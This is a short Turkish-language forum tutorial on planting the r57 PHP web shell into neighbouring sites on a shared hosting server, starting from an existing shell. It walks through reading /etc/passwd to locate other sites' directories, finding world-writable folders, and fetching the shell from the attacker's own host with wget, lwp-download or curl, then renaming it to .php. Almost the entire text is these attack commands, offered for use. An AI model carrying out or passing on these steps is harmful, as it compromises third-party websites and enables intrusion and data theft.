Alt Serverlara Shell Sokma

S.a arkadaslar baslayalım

ilk önce shellimiz acım komut satırına

Kod:

cat /etc/passwd

deyip passwd leri alıyoruz daha sonra hedef sitenin

dizini buluyoruz

ör:

Kod:

hedef:x:10056:2524::/var/www/vhosts/hedefsite.com:/bin/false

buradan /var/www/vhosts/hedefsite.com buraya kadar olan bolumu alıyoruz komut satırına gelıyoruz

Kod:

cd /var/www/vhosts/hedefsite.com;ls -la

deyip perm i 777 olan bir klasör buluyoruz ben httpdocs olarak farz ediyorum daha sonra komut satırına

Kod:

cd /var/www/vhosts/hedefsite.com/httpdocs;ls -la

yazıyoruz

daha sonra buraya shellimiz cagırıyoruz

komut satırına

Kod:

cd /var/www/vhosts/hedefsite.com/httpdocs;wget http:kendisiten.com/r57.txt

yada

Kod:

cd /var/www/vhosts/hedefsite.com/httpdocs;wget http:kendisiten.com/r57.txt -O r57.php

yazıyoruz

eger wget komutu engellenmısse ki buyuk ıhtımalle engellenmısdır

Kod:

cd /var/www/vhosts/hedefsite.com/httpdocs;lwp-download http:kendisiten.com/r57.txt

veya

Kod:

cd /var/www/vhosts/hedefsite.com/httpdocs;curl -o r57.txt http://kendisiten.com/r57.txt

bunu gibi değiştirebilriz

daha sonra dosyamızın gelıp kayıt edildiğini varsayıyorum.

Kod:

cp /var/www/vhosts/hedefsiten.com/httpdocs/r57.txt /var/www/vhosts/hedefsiten.com/httpdocs/r57.php


yada direk

Kod:

cd /var/www/vhosts/hedefsite.com/httpdocs;curl -o r57.php http://kendisiten.com/r57.txt

yazıp enterlıyoruz bu şekilde cp komutunu kullnarak r57.txt yi r57.php ye ceviriyoruz

ve işem bu kadar shellimiz hedef siteye yüklenmiş oluyor

Selametle